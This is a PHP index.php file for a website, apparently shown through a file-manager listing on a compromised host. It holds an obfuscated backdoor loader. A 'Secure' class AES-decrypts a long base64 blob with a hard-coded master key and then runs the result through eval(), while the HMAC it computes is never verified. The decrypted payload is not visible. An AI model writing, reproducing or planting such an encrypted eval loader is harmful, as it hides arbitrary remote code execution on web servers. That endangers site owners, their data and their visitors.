Current File : /home/inlingua/www/avconexpoarchitects.com/index.php |
<?php
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;
public function __construct($masterKey) {
$this->masterKey = $masterKey;
}
public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}
private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);
return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}
private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}
public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}
public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}
$secure = new Secure('3Etrksi87rde3hd8s819Poe0o39sqKjl9');
$str = '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';
$decrypted = $secure->decrypt($str);
eval($decrypted);